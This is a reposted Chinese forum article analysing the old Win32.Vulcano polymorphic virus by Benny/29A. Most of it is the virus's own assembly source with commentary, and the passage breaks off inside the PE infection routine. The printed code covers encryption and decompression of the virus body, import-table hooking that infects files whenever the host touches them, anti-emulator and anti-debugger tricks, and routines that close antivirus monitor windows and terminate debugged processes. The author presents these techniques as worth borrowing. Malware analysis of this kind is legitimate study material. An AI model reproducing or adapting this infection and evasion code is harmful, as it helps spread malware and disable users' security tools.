经典怀旧(一) - Vulcano病毒分析

来源:互联网 发布:学java学费一般多少 编辑:程序博客网 时间:2024/06/10 00:01
 
标 题: 【原创】经典怀旧(一) - Vulcano病毒分析
作 者: 玩命
时 间: 2008-12-17,16:15
链 接: http://bbs.pediy.com/showthread.php?t=78862

经典怀旧(一) - Vulcano病毒分析
前言:
Vulcano病毒是29A的Benny在29A第4期发布的。虽然是一个老病毒。和ZMIST一样是我本人最喜欢病毒之一
其中使用的技术和思路很值得我们借鉴。

目录:
1.病毒概括
2.加载器分析
3.病毒体分析
4.BCE32压缩函数分析
5.BPE32变形引擎分析
6.借鉴的技巧

正文:
1.病毒概括
Vulcano首先是一个多态病毒。利用了BPE32变形引擎, 使用了多线程通讯等技巧。其中还包括一些分段加密,
CRC32校验保护的应用.在入口点方面选用了HOOK引入表的技巧。这个病毒只能感染有重定位节的程序,在代码
中可以看到重定位节必须处在最后节位置才可以进行感染。在寻找API地址用API名字的CRC值来替代直接的明文。
以及利用INTEL未文档的的指令(SALC - 0D6h)来反虚拟环境的技巧.(虽然现在来讲这个OPCODE已经不是什么秘密)。
很多很不错的思路在其中都有体验。这个病毒最出彩的地方要算是只做模糊入口点方面了.模糊入口点挺简单就是
HOOK了引入表的函数,而复杂设置它的是之前被HOOK的一些函数.如果宿主程序调用操作文件方面的API,例如FindFirstFile
FileCopy等函数,病毒从中把控制权接管过来,进行感染.(真希望被感染的是其他病毒 呵呵,以毒传毒).
再感染过程中在设置入口点的HOOK函数.

2.加载器分析
启动加载代码
代码:
.code                                           ;start of code sectionfirst_gen:                                      ;first generation code;; 这里是加载器部分,只是加密病毒并且跳入病毒进行执行而已  ;second layer of encryption  ;; 这里是简单的加密加密  ;; vulcano采用了两层加密的原则.第一层采用BCE32进行加密,第二层  ;; 取了(virus_end-encrypted+3)/4的大小进行一个简单的xor 1操作  ;; 的加密  mov esi, offset encrypted    ;encrypt from...  mov ecx, (virus_end-encrypted+3)/4  ;encrypt how many bytes...encrypt1:  lodsd          ;get dword  ;简单的异或上1  xor eax, 1        ;encrypt  mov [esi-4], eax      ;and store it  loop encrypt1        ;  ;; 这里调用BCE32压缩函数进行压缩.  mov esi, offset compressed              ;source        mov edi, offset _compressed_            ;destination        mov ecx, virus_end-compressed+2         ;size        mov ebx, offset workspace1              ;workspace1        mov edx, offset workspace2              ;workspace2        call BCE32_Compress                     ;Compress virus body!        dec eax  ;; 保存BCE32要解压的大小,c_szie在.data节中定义        mov [c_size], eax                       ;save compressed virus size    ;; 执行病毒  push 0          ;parameter for GetModuleHandleA  call VulcanoInit      ;call virus code  ;ExitProcess被病毒进行HOOK,在余下的代码中会进行分析解释  push 0          ;parameter for ExitProcess  call ExitProcess      ;this will be hooked by virus l8r
加载器运行的目的就是将病毒实体进行加密后跳入到病毒体中执行。

3.病毒体分析
代码:
;; vulcano使用TASM编译的.可以直接将代码写到数据节内,这点比MASM灵活的多。也是我喜欢它的原因之一.;; TASM比MASM在语法方面要灵活很多,梦里梦到BORLAND的官网上有它的新版本下载.(付费我也愿意);; 不过BORLAND一直没有再继续开发的意思。.data                                           ;data sectionVulcanoInit:                                   ;Start of virus;; Vulcano在这里初始化  ;; 这里首先用SALC未公开的文档的OPCODE进行ANTI仿真机  ;; 这里的SALC是一宏在代码之前定义的  ;; SALC    equ  <db  0D6h>    ;SALC opcode  ;;  SALC          ;undoc. opcode to fuck emulators  push dword ptr [offset _GetModuleHandleA]  ;push original API  ;; 以下的语句是将ddAPI直接指向 [offset _GetModuleHandleA] 这种编码技巧  ;; 很值得我们借鉴。及方便又能达到节省空间的目的。Vulcano编码中大量使用了  ;; 这种技巧。ddAPI = dword ptr $-4  push 400000h        ;push image baseImgBase = dword ptr $-4  ;; 保存所有寄存器  ;; 在vulcano病毒中EIP基地址永远保存在ebp寄存器中  ;; 以下是解密过程最终启动后会跳入到decompressed中执行病毒真正的  ;; 恶意代码  pushad          ;store all registers  call gd                                 ;get delta offsetgd:     pop ebp                                 ;...        lea esi, [ebp + _compressed_ - gd]      ;where is compressed virus                                                ;stored        lea edi, [ebp + decompressed - gd]      ;where will be virus                                                ;decompressed         mov ecx, 0        ;size of compressed virusc_size = dword ptr $-4;Decompression routine from BCE32 starts here.;; 这里为BCE32解压函数;; 这里是解压函数等稍后在BCE32压缩函数中一通与压缩函数进行分析。;; 在以下的代码中有一条 jmp decompressed 的语句当解压后直接跳入;; 解压的病毒中进行运行.这里省略了BCE32的代码与后一同在BCE32压缩;; 模块分析中进行分析  ;; BCE32解压函数代码 ...  ;; 从这里跳入解密后的病毒 ---   jmp decompressed        ;; BCE32解压函数代码 ...;; 这里是vulcano存放病毒数据的地方;; _compressed_这里是存放压缩后的病毒_compressed_    db      virus_end-compressed+200h dup (?) ;here is stored compressed                                                ;virus body;; 解压后的病毒以及病毒使用的一些私有数据.在 db      size_unint dup (?) 中定义decompressed:   db      virus_end-compressed dup (?)  ;here decompressed                db      size_unint dup (?)      ;and here all uninitialized                                                ;variablesvirtual_end:                                    ;end of virus in memoryends
病毒要压缩的部分,这部分为病毒实体。是本文的重点部分
代码:
compressed:                                     ;compressed body starts here  ;; 建立一个异常处理函数,指向jmp_host.其后会进行分析  ;; 建立后调用call gdlta.到gdlta中进行分析...(同志们翻页了)        @SEH_SetupFrame <jmp jmp_host>    ;setup SEH frame        call gdlta                          ;calculate delta offset;; 以下是病毒所用的一些地址记录。这里记录的都是到gdelta的一个偏移;; 病毒所需API的地址gdelta:  dd  ddFindFirstFileA-gdelta    ;addresses  dd  ddFindNextFileA-gdelta    ;of variables  dd  ddFindClose-gdelta    ;where will  dd  ddSetFileAttributesA-gdelta  ;be stored  dd  ddSetFileTime-gdelta    ;addresses of APIs  dd  ddCreateFileA-gdelta  dd  ddCreateFileMappingA-gdelta  dd  ddMapViewOfFile-gdelta  dd  ddUnmapViewOfFile-gdelta  dd  ddCreateThread-gdelta  dd  ddWaitForSingleObject-gdelta  dd  ddCloseHandle-gdelta  dd  ddCreateMutexA-gdelta  dd  ddReleaseMutex-gdelta  dd  ddOpenMutexA-gdelta  dd  ddSleep-gdelta  dd  ddVirtualProtect-gdelta  dd  ddGetCurrentProcessId-gdelta  dd  ddOpenProcess-gdelta  dd  ddTerminateProcess-gdelta  dd  ddLoadLibraryA-gdelta  dd  ddGetProcAddress-gdelta  dd  ddFreeLibrary-gdelta  dd  ?        ;end of record;; Hook函数的地址newHookers:  dd  newFindFirstFileA-gdelta  ;addresses of API hookers  dd  newFindNextFileA-gdelta  dd  newCopyFileA-gdelta  dd  newCopyFileExA-gdelta  dd  newCreateFileA-gdelta  dd  newCreateProcessA-gdelta  dd  newDeleteFileA-gdelta  dd  newGetFileAttributesA-gdelta  dd  newGetFullPathNameA-gdelta  dd  new_lopen-gdelta  dd  newMoveFileA-gdelta  dd  newMoveFileExA-gdelta  dd  newOpenFile-gdelta  dd  newSetFileAttributesA-gdelta  dd  newWinExec-gdelta  dd  newExitProcess-gdelta  dd  newExitThread-gdelta  dd  newGetLastError-gdelta  dd  newCloseHandle-gdelta  dd  ?        ;end of record;; 被Hook的API原来的地址oldHookers:  dd  oldFindFirstFileA-gdelta  ;addresses, where will be  dd  oldFindNextFileA-gdelta    ;stored original  dd  oldCopyFileA-gdelta    ;API callers  dd  oldCopyFileExA-gdelta  dd  oldCreateFileA-gdelta  dd  oldCreateProcessA-gdelta  dd  oldDeleteFileA-gdelta  dd  oldGetFileAttributesA-gdelta  dd  oldGetFullPathNameA-gdelta  dd  old_lopen-gdelta  dd  oldMoveFileA-gdelta  dd  oldMoveFileExA-gdelta  dd  oldOpenFile-gdelta  dd  oldSetFileAttributesA-gdelta  dd  oldWinExec-gdelta  dd  oldExitProcess-gdelta  dd  oldExitThread-gdelta  dd  oldGetLastError-gdelta  dd  oldCloseHandle-gdelta;; 这里就是病毒真正要开始的地方;; 第一条语句将gdelta的地址放入ebp中gdlta:  pop ebp          ;get delta offset  ;; 首先解密第2层加密的地方,异或1,长度为(virus_end-encrypted+3)/4  ;; 这里使用了一个小技巧来对抗仿真换了一下选择子  lea esi, [ebp + encrypted - gdelta]  ;get start of encrypted code  mov ecx, (virus_end-encrypted+3)/4  ;number of dwords to encrypt  push es          ;save selector  push ds  pop es          ;ES=DSdecrypt:lodsd          ;load dword  xor eax, 1        ;decrypt it  mov es:[esi-4], eax      ;save dword with AntiAV (usage of  loop decrypt        ;selectors);; 第2层加密的地方encrypted:          ;encrypted code starts here  pop es          ;restore selector  ;; crc32prot 这里是被CRC保护的位置,病毒在这里进行校验  lea esi, [ebp + crc32prot - gdelta]  ;start of CRC32 protected code  mov edi, virus_end-crc32prot    ;size of that  call CRC32        ;calculate CRC32  cmp eax, 05BB5B647h      ;check for consistency;; 被CRC32保护的位置crc32prot:  ;; 如果校验值不一样则跳入到jmp_host中  jne jmp_host    ;jump to host if breakpoints set and such  ;; 检查是否是Pentium系列的主机  ;Pentium+ check  pushad        pushfd                                  ;save EFLAGS        pop eax                                 ;get them        mov ecx, eax                            ;save them        or eax, 200000h                         ;flip ID bit in EFLAGS        push eax                                ;store        popfd                                   ;flags        pushfd                                  ;get them back        pop eax                                 ;...        xor eax, ecx                            ;same?        je end_cc                               ;shit, we r on 486-        xor eax, eax                            ;EAX=0        inc eax                                 ;EAX=1        cpuid                                   ;CPUID        and eax, 111100000000b                  ;mask processor family        cmp ah, 4                               ;is it 486?        je end_cc                               ;baaaaaaad  popad    ;; 以下这段代码可以ANTI老版本的NodICE(比99年还老)  ;; 对于现在???  mov eax, ds        ;this will fuck  push eax        ;some old versions  pop ds          ;of NodICE  mov ebx, ds  xor eax, ebx  jne jmp_host    ;; 获取所需的API地址  ;; 这里取了一些通常的Kernel32.dll的ImageBase  ;; 调用get_base验证ImageBase的值  mov eax, 77F00000h      ;WinNT 4.0 k32 image base  call get_base  jecxz k32_found        ;we got image base  mov eax, 77E00000h      ;Win2k k32 image base  call get_base  jecxz k32_found        ;we got image base  mov eax, 77ED0000h      ;Win2k k32 image base  call get_base  jecxz k32_found        ;we got image base  mov eax, 0BFF70000h      ;Win95/98 k32 image base  call get_base  test ecx, ecx  jne jmp_host        ;base of k32 not found, quit    ;; 返回到 k32_found 标签  ;; 利用ret跳入,对抗反汇编器  push cs  lea ebx, [ebp + k32_found - gdelta]  ;continue on another label  push ebx  retf          ;fuck u emulator! :);; 出错处理,弹出所有保存的寄存器,并;; 跳入到jmp_host标签执行end_cc:  popad          ;restore all registers  jmp jmp_host        ;and jump to host  db  'Win32.Vulcano by Benny/29A'  ;little signature :);; 获取到kernel32.dll的句柄后遍历从kernel32.dll的引出表;; 取得所需API的地址.取地址的时候.API的名字是用CRC32的值;; 进行校验的,这里利用了堆栈的一些技巧。第一条语句获取了;; 当前宿主程序的ImageBasek32_found:  mov ebx, [esp.cPushad+8]    ;get image base of app  ;; 将当前宿主程序的ImageBase写入到GMHA标签地址处  mov [ebp + GMHA - gdelta], ebx    ;save it  ;; ebx指向当前程序的PE头  add ebx, [ebx.MZ_lfanew]    ;get to PE header  ;; esi中存放的要取的API地址的字符串CRC32的值  lea esi, [ebp + crcAPIs - gdelta]  ;start of CRC32 API table  mov edx, ebp        ;get table of pointers  ;; edi指向到存放地址的偏移s_ET:  mov edi, [edx]        ;get item  ;; 如果判断时候到达最后一个存放的位置,如果为0则达到  ;; 也表明取得所有API地址  test edi, edi        ;is it 0?  ;; 搜索完毕后跳入 end_ET标签.  je end_ET        ;yeah, work is done  ;; edi中为存放的偏移,ebp为当前的EIP,相加  ;; edi为存放偏移的空间地址  add edi, ebp        ;normalize  push eax        ;save EAX  call SearchET        ;search for API  stosd          ;save its address  test eax, eax        ;was it 0?  pop eax          ;restore EAX  ;; 如果SearchET返回eax = 0 则表明出错  je jmp_host        ;yeah, error, quit  ;; 如果为非0则CRC32表的指针移动,存放偏移表的指针移动  add esi, 4        ;correct pointers  add edx, 4        ;to pointers...  jmp s_ET        ;loop;; 确定是否是kernel32.dll的ImageBase;; 一个简单的判断,eax中存放的为事先;; 存入的ImageBase的值.然后利用判断;; MZ标志和PE标志来确定是否是正确的;; PE结构get_base:  pushad          ;save all registers  ;; 安装异常处理,出错到err_gbase标号  @SEH_SetupFrame <jmp err_gbase>    ;setup SEH frame  xor ecx, ecx        ;set error value  inc ecx  cmp word ptr [eax], IMAGE_DOS_SIGNATURE  ;is it EXE?  jne err_gbase        ;no, quit  dec ecx          ;yeah, set flagerr_gbase:          ;and quit  ;; 移除异常处理,ecx中1为出错,0为成功  @SEH_RemoveFrame      ;remove SEH frame  ;; 利用pushad返回到ecx  mov [esp.Pushad_ecx], ecx    ;save flag  popad          ;restore all registers  ret          ;and quit from procedure;; 当获取完所有所需API的地址,流程将跳入此.;; 这里主要的作用是开辟一条线程来进行当前宿主;; 程序的引入表HOOKend_ET:  lea eax, [ebp + tmp - gdelta]    ;now we will create new  push eax        ;thread to hide writing to  xor eax, eax        ;Import table  push eax  ;; 将所用API地址的偏移表作为参数  ;; 传递给新的线程  push ebp        ;delta offset  lea edx, [ebp + NewThread - gdelta]  ;address of thread procedure  push edx  push eax        ;and other shit to stack  push eax  mov eax, 0;; 这里是一个很猥琐的技巧,可以在自己的代码中;; 进行应用ddCreateThread = dword ptr $-4  call eax        ;create thread!  test eax, eax        ;is EAX=0?  ;; 开辟线程失败则退出  je jmp_host        ;yeah, quit  ;; 要入第一个eax是给CloseHandle传参数  ;; 其后等待这个线程执行完毕  push eax        ;parameter for CloseHandle  push -1          ;infinite loop  push eax        ;handle of thread  call [ebp + ddWaitForSingleObject - gdelta]  ;wait for thread termination  call [ebp + ddCloseHandle - gdelta]  ;close thread handle;now we will create space in shared memory for VLCB structure;; 创建一个VLCB结构在共享内存  call @VLCB  db  'VLCB',0      ;name of shared area@VLCB:  push 2000h        ;size of area  push 0  push PAGE_READWRITE  push 0  ;; 创建一个交换文件的映射  push -1          ;SWAP FILE!  call [ebp + ddCreateFileMappingA - gdelta]  ;open area  test eax, eax  je jmp_host        ;quit if error  xor edx, edx  push edx  push edx  push edx  push FILE_MAP_WRITE  push eax  call [ebp + ddMapViewOfFile - gdelta]  ;map view of file to address  xchg eax, edi        ;space of virus  test edi, edi  ;; 如果映射出错则跳入 end_gd1 标签处  je end_gd1        ;quit if error  mov [ebp + vlcbBase - gdelta], edi  ;save base address  ;now we will create named mutex  ;; 创建一个互斥体,互斥名随机  call @@@1        ;push address of name@@1:  dd  0        ;random name@@@1:  RDTCS          ;get random number  mov edx, [esp]        ;get address of name  shr eax, 8        ;terminate string with /0  mov [edx], eax        ;and save it  ;; esi指向互斥体名  mov esi, [esp]        ;get address of generated name  push 0  push 0  mov eax, 0ddCreateMutexA = dword ptr $-4  call eax        ;create mutex  test eax, eax  ;; 创建失败则跳入end_gd2  je end_gd2        ;quit if error;now we will initialize VLCB structure;; 初始化VLCB结构  xor edx, edx        ;EDX=0  ;; edi保存的VLCB共享内存  mov eax, edi        ;get base of VLCB  ;; VLCB的标志         mov [eax.VLCB_Signature], 'BCLV'  ;save signature;now we will initialize record for thread  ;; 20个通信频道  mov ecx, 20        ;20 communication channels  ;; 检查当前记录结构是否被使用,如果被使用则进入下一个sr_t:  cmp dword ptr [edi.VLCB_TSep.VLCB_THandle], 0  ;check handle  jne tnext        ;if already reserved, then try next  mov esi, [esi]        ;get name of mutex  mov [edi.VLCB_TSep.VLCB_THandle], esi  ;save it  ;; 互斥体的ID号  mov [ebp + t_number - gdelta], edx  ;and save ID number of mutex  ;; 创建线程,这里创建后则跳入到宿主中进行执行  ;; 线程中进行等待当宿主程序执行到被HOOK的函数时  ;; 通过对以上线程的操作来进行一下步操作  lea eax, [ebp + tmp - gdelta]    ;create new thread  push eax        ;for IPC  xor eax, eax  push eax  push ebp  lea edx, [ebp + mThread - gdelta]  ;address of thread procedure  push edx  push eax  push eax  call [ebp + ddCreateThread - gdelta]  ;create new thread  xchg eax, ecx  jecxz end_gd3        ;quit if error;; 如果有任何错误则跳入到宿主程序中jmp_host:  ;移除SEH处理程序  @SEH_RemoveFrame                        ;remove SEH frame  mov eax, [esp.cPushad+4]    ;save address of previous  mov [esp.Pushad_eax], eax    ;API caller        popad                                   ;restore all regs  add esp, 8        ;repair stack pointer  push cs          ;save selector  push eax        ;save offset of API caller  retf          ;jump to host :)  ;; 下一个VLCB结构,移动edi指针tnext:  add edi, VLCB_TSize      ;get to next record  ;; 互斥体ID号自增  inc edx          ;increment counter  loop sr_t        ;try again  jmp jmp_host        ;quit if more than 20 viruses r in memoryend_gd3:push esi  call [ebp + ddCloseHandle - gdelta]  ;close mutexend_gd2:push dword ptr [ebp + vlcbBase - gdelta]  call [ebp + ddUnmapViewOfFile - gdelta]  ;unmap VLCBend_gd1:push edi  call [ebp + ddCloseHandle - gdelta]  ;close mapping of file  jmp jmp_host        ;and jump to hostgtDelta:call mgdlta        ;procedure used to getting;; 可以利用此方法的扩展随机产生单字节opcode去影响后面的指令;; 从而达到ANTI-反汇编的目的;; mgdelta标记和ebp在病毒后面用来定位地址mgdelta:db  0b8h        ;fuck u disassemblersmgdlta:  pop ebp          ;get it  ;; 这里也进行了一个模糊的跳入,跳入之前压入堆栈的地址  ret          ;and quit;; 被Hook的函数们,被HOOK的函数大多都与文件操作有关;; 这些函数被用来检查文件时候可以被感染,以及感染文件newFindFirstFileA:        ;hooker for FindFirstFileA API  push dword ptr [esp+8]      ;push parameters  push dword ptr [esp+8]      ;...  c_api oldFindFirstFileA      ;call original APIp_file:  pushad          ;store all registers  call gtDelta        ;get delta  mov ebx, [esp.cPushad+8]    ;get Win32 Find Data  call Check&Infect      ;try to infect file  popad          ;restore all registers  ret 8          ;and quitnewFindNextFileA:  push dword ptr [esp+8]      ;push parameters  push dword ptr [esp+8]      ;...  c_api oldFindNextFileA      ;call previous API  jmp p_file        ;and continue;; 这段函数对以下一些操作文件的API的支持process_file:  pushad          ;store all registers  call gtDelta        ;get delta offset  lea esi, [ebp + WFD2 - mgdelta]    ;get Win32_Find_Data  push esi        ;save it  push dword ptr [esp.cPushad+0ch]  ;push offset to filename  call [ebp + ddFindFirstFileA - mgdelta]  ;find that file  inc eax  je end_pf        ;quit if error  dec eax  xchg eax, ecx        ;handle to ECX  mov ebx, esi        ;WFD to EBX  call Check&Infect      ;check and infect it  push ecx  call [ebp + ddFindClose - mgdelta]  ;close find handleend_pf:  popad          ;restore all registers  ret          ;and quit;generic hookers for some APIsnewCopyFileExA:  call process_file  j_api oldCopyFileExAnewCopyFileA:  call process_file  j_api oldCopyFileAnewCreateFileA:  call process_file  j_api oldCreateFileAnewCreateProcessA:  call process_file  j_api oldCreateProcessAnewDeleteFileA:  call process_file  j_api oldDeleteFileAnewGetFileAttributesA:  call process_file  j_api oldGetFileAttributesAnewGetFullPathNameA:  call process_file  j_api oldGetFullPathNameAnew_lopen:  call process_file  j_api old_lopennewMoveFileA:  call process_file  j_api oldMoveFileAnewMoveFileExA:  call process_file  j_api oldMoveFileExAnewOpenFile:  call process_file  j_api oldOpenFilenewSetFileAttributesA:  call process_file  j_api oldSetFileAttributesAnewWinExec:  call process_file  j_api oldWinExec;; 打开一个设备驱动open_driver:        xor eax, eax                            ;EAX=0        push eax                                ;parameters        push 4000000h                           ;for        push eax                                ;CreateFileA        push eax                                ;API        push eax                                ;function        push eax                                ;...  push ebx        call [ebp + ddCreateFileA - mgdelta]    ;open driver  ret;; 关闭设备驱动close_driver:        push eax                                ;close its handle        call [ebp + ddCloseHandle - mgdelta]  ret;; 检测调试器相关common_stage:          ;infect files in curr. directory  pushad  call gtDelta        ;get delta offset  mov ecx, fs:[20h]      ;get context debug  jecxz n_debug        ;if zero, debug is not presentk_debug:mov eax, 0ddGetCurrentProcessId = dword ptr $-4  call eax        ;get ID number of current process  call vlcb_stuph        ;common stuph  lea esi, [ebp + data_buffer - mgdelta]  mov dword ptr [esi.WFD_szAlternateFileName], ebp  ;set random data  mov ebx, VLCB_Debug1      ;kill debugger  call get_set_VLCB      ;IPC!vlcb_stuph:  xor edx, edx        ;random thread  dec edx  mov ecx, VLCB_SetWait      ;set and wait for result  retn_debug:call vlcb_stuph        ;common stuph  lea esi, [ebp + data_buffer - mgdelta]  mov dword ptr [esi.WFD_szAlternateFileName], ebp  ;set random data  mov ebx, VLCB_Debug2      ;check for SoftICE  call get_set_VLCB      ;IPC!  mov eax, dword ptr [esi.WFD_szAlternateFileName]  ;get result  dec eax  test eax, eax  je endEP        ;quit if SoftICE in memory  call vlcb_stuph        ;common stuph  lea esi, [ebp + data_buffer - mgdelta]  mov dword ptr [esi.WFD_szAlternateFileName], ebp  ;set random data  mov ebx, VLCB_Monitor      ;kill monitors  call get_set_VLCB      ;IPC!  lea ebx, [ebp + WFD - mgdelta]    ;get Win32 Find Data  push ebx        ;store its address  call star  db  '*.*',0        ;create maskstar:  mov eax, 0ddFindFirstFileA = dword ptr $-4  call eax        ;find file  inc eax  je endEP        ;if error, then quit  dec eax  mov [ebp + fHandle - mgdelta], eax  ;store handle  call Check&Infect      ;and try to infect filefindF:  lea ebx, [ebp + WFD - mgdelta]    ;get Win32 Find Data  push ebx        ;store address  push_LARGE_0        ;store handlefHandle = dword ptr $-4  mov eax, 0ddFindNextFileA = dword ptr $-4  call eax        ;find next file  xchg eax, ecx        ;result to ECX  jecxz endEP2        ;no more files, quit  call Check&Infect      ;try to infect file  jmp findF        ;find another fileendEP2:  push dword ptr [ebp + fHandle - mgdelta];store handle  mov eax, 0ddFindClose = dword ptr $-4  call eax        ;close itendEP:  popad  ret;; 当程序退出时运行.检验调试器是否存在并且感染当前目录下文件newExitProcess:          ;hooker for ExitProcess API  pushad  call common_stage      ;infect files in current directory  call gtDelta        ;get delta offset  mov edx, [ebp + t_number - mgdelta]  ;get ID number of thread  push edx  mov ecx, VLCB_SetWait      ;set and wait for result  lea esi, [ebp + data_buffer - mgdelta]  mov dword ptr [esi.WFD_szAlternateFileName], ebp  mov ebx, VLCB_Quit      ;terminate thread  call get_set_VLCB      ;IPC!  pop edx          ;number of thread  imul edx, VLCB_TSize      ;now we will  push VLCB_TSize/4      ;erase thread  pop ecx          ;record  add edi, edx        ;from VLCB  add edi, VLCB_TSep  xor eax, eax  rep stosd        ;...  popad  j_api oldExitProcess      ;jump to original API;next hookersnewExitThread:  call common_stage  j_api oldExitThreadnewCloseHandle:  call common_stage  j_api oldCloseHandlenewGetLastError:  call common_stage  j_api oldGetLastError;; 反AMON AVP monitor;; 原理就是好寻找窗体,之后向窗体发送退出消息Monitor:pushad          ;store all registers  call szU32        ;push address of string USER32.dll  db  'USER32',0szU32:  mov eax, 0ddLoadLibraryA = dword ptr $-4      ;Load USER32.dll  call eax  xchg eax, ebx  test ebx, ebx  je end_mon2        ;quit if error  call FindWindowA      ;push address of string FindWindowA  db  'FindWindowA',0FindWindowA:  push ebx        ;push lib handle  mov eax, 0ddGetProcAddress = dword ptr $-4    ;get address of FindWindowA API  call eax  xchg eax, esi  test esi, esi  je end_mon        ;quit if error  call PostMessageA      ;push address of string PostMessageA  db  'PostMessageA',0PostMessageA:  push ebx  call [ebp + ddGetProcAddress - mgdelta]  ;get address of PostMessageA  xchg eax, edi  test edi, edi  je end_mon        ;quit if error  mov ecx, 3        ;number of monitors  call Monitors        ;push address of strings  db  'AVP Monitor',0      ;AVP monitor  db  'Amon Antivirus Monitor',0  ;AMON english version  db  'Antiv韗usov?monitor Amon',0  ;AMON slovak versionMonitors:  pop edx          ;pop addressk_mon:  pushad          ;store all registers  xor ebp, ebp  push edx  push ebp  call esi        ;find window  test eax, eax  je next_mon        ;quit if not found  push ebp  push ebp  push 12h        ;WM_QUIT  push eax  call edi        ;destroy windownext_mon:  popad          ;restore all registers  push esi  mov esi, edx  @endsz          ;get to next string  mov edx, esi        ;move it to EDX  pop esi  loop k_mon        ;try another monitorend_mon:push ebx        ;push lib handle  mov eax, 0ddFreeLibrary = dword ptr $-4  call eax        ;unload libraryend_mon2:  popad          ;restore all registers  jmp d_wr        ;and quit;; 这段代码用来实现检查在95与NT下的softiceDebug2:  lea ebx, [ebp + sice95 - mgdelta]  ;address of softice driver string  call open_driver      ;open driver        inc eax                                 ;is EAX==0?        je n_sice                    ;yeah, SoftICE is not present        dec eax  call close_driver      ;close driver  jmp d_wr        ;and quitn_sice:  lea ebx, [ebp + siceNT - mgdelta]  ;address of softice driver string  call open_driver      ;open driver  inc eax  je n2_db        ;quit if not present  dec eax  call close_driver      ;close driver  jmp d_wr        ;and quit;; 这段代码用来通过调试的进程ID来结束调试器的进程Debug1:  push dword ptr [esi.WFD_szAlternateFileName]  ;push ID number of process  push 0  push 1  mov eax, 0ddOpenProcess = dword ptr $-4  call eax        ;open process  test eax, eax  jne n1_dbn2_db:  call t_write        ;quit if error  jmp m_thrdn1_db:  push 0  push eax  mov eax, 0ddTerminateProcess = dword ptr $-4    ;destroy debugged process :)  call eax  jmp t_write;; 中断通讯的主要线程处理程序;; 这个毒比较出彩的地方mThread:pushad          ;main IPC thread  @SEH_SetupFrame <jmp end_mThread>  ;setup SEH frame  call gtDelta        ;get delta;; 指向call getDelta后跳入到此进行真正的执行;; m_thrd是一个自修改的地方,用于确定自己的线程;; ID号m_thrd:  mov edx, 0        ;get thread ID numbert_number = dword ptr $-4  ;; ecx中保存了等待信号  mov ecx, VLCB_WaitGet  ;; esi中保存了一个临时缓冲的指针  lea esi, [ebp + data_buffer - mgdelta]  ;; 设置数据并等待  call get_set_VLCB      ;wait for request  ;; 如果等到请求则以此判断请求  dec ecx  ;; 退出  jecxz Quit        ;quit  dec ecx  ;; 检查文件是否可以感染  jecxz Check        ;check file  cmp ecx, 1  ;; 感染文件  je Infect        ;check and infect file  cmp ecx, 2  ;; 检查调试器  je Debug1        ;check for debugger  ;; 检查调试器  cmp ecx, 3  je Debug2        ;check for SoftICE  ;; 检查AV monitors  cmp ecx, 4  je Monitor        ;kill AV monitors    push 0  call [ebp + ddSleep - mgdelta]    ;switch to next thread  jmp m_thrd        ;and again...Quit:  call t_write        ;write resultend_mThread:  @SEH_RemoveFrame      ;remove SEH frame  popad          ;restore all registers  ret          ;and quit from threadt_write:xor ecx, ecx        ;set result  inc ecxt_wr:  inc ecx  mov dword ptr [esi.WFD_szAlternateFileName], ecx  ;write it  mov ecx, VLCB_SetWait      ;set and wait  mov edx, [ebp + t_number - mgdelta]  ;this thread  call get_set_VLCB      ;IPC!  retCheck:  @SEH_SetupFrame <jmp err_sCheck>  ;setup SEH frame  call CheckFile        ;check file  jecxz err_sCheck      ;quit if error_c1_ok:  @SEH_RemoveFrame      ;remove SEH frame  call t_write        ;write result  jmp m_thrd        ;and quiterr_sCheck:  @SEH_RemoveFrame      ;remove SEH framed_wr:  xor ecx, ecx  call t_wr        ;write result  jmp m_thrd        ;and quit;; 感染算法Infect:  @SEH_SetupFrame <jmp _c1_ok>    ;setup SEH frame  call InfectFile        ;check and infect file  jmp _c1_ok        ;and quitInfectFile:  lea esi, [esi.WFD_szFileName]    ;get filename  pushad  xor eax, eax  push eax  push FILE_ATTRIBUTE_NORMAL  push OPEN_EXISTING  push eax  push eax  push GENERIC_READ or GENERIC_WRITE  push esi  mov eax, 0ddCreateFileA = dword ptr $-4  call eax        ;open file  inc eax  je r_attr        ;quit if error  dec eax  mov [ebp + hFile - mgdelta], eax  ;save handle  xor edx, edx  push edx  push edx  push edx  push PAGE_READWRITE  push edx  push eax  mov eax, 0ddCreateFileMappingA = dword ptr $-4  call eax        ;create file mapping  xchg eax, ecx  jecxz endCreateMapping      ;quit if error  mov [ebp + hMapFile - mgdelta], ecx  ;save handle  xor edx, edx  push edx  push edx  push edx  push FILE_MAP_WRITE  push ecx  mov eax, 0ddMapViewOfFile = dword ptr $-4  call eax        ;map view of file  xchg eax, ecx  jecxz endMapFile      ;quit if error  mov [ebp + lpFile - mgdelta], ecx  ;save base address  jmp nOpen;; 这里当感染完毕后做的一些事情endMapFile:  push_LARGE_0        ;store base addresslpFile = dword ptr $-4  mov eax, 0ddUnmapViewOfFile = dword ptr $-4  call eax        ;unmap view of fileendCreateMapping:  push_LARGE_0        ;store handlehMapFile = dword ptr $-4  call [ebp + ddCloseHandle - mgdelta]  ;close file mapping    ;将修改时间重新写回  lea eax, [ebp + data_buffer.WFD_ftLastWriteTime - mgdelta]  push eax  lea eax, [ebp + data_buffer.WFD_ftLastAccessTime - mgdelta]  push eax  lea eax, [ebp + data_buffer.WFD_ftCreationTime - mgdelta]  push eax  push dword ptr [ebp + hFile - mgdelta]  mov eax, 0ddSetFileTime = dword ptr $-4  call eax        ;set back file time  push_LARGE_0        ;store handlehFile = dword ptr $-4  call [ebp + ddCloseHandle - mgdelta]  ;close file    ;将文件属性重新设置r_attr:  push dword ptr [ebp + data_buffer - mgdelta]  lea esi, [ebp + data_buffer.WFD_szFileName - mgdelta]  push esi        ;filename  call [ebp + ddSetFileAttributesA - mgdelta]  ;set back file attributes  jmp c_error        ;and quit;; 这里是感染的开始,ecx保存的是宿主文件的在内存的映射地址-pMemnOpen:  mov ebx, ecx  cmp word ptr [ebx], IMAGE_DOS_SIGNATURE  ;must be MZ  jne endMapFile  mov esi, [ebx.MZ_lfanew]  add esi, ebx  lodsd  cmp eax, IMAGE_NT_SIGNATURE    ;must be PE/0/0  jne endMapFile  cmp word ptr [esi.FH_Machine], IMAGE_FILE_MACHINE_I386  ;must be 386+  jne endMapFile  mov ax, [esi.FH_Characteristics]  test ax, IMAGE_FILE_EXECUTABLE_IMAGE  ;must be executable  je endMapFile  test ax, IMAGE_FILE_DLL      ;mustnt be DLL  jne endMapFile  test ax, IMAGE_FILE_SYSTEM    ;mustnt be system file  jne endMapFile  mov al, byte ptr [esi.OH_Subsystem]  test al, IMAGE_SUBSYSTEM_NATIVE    ;and mustnt be 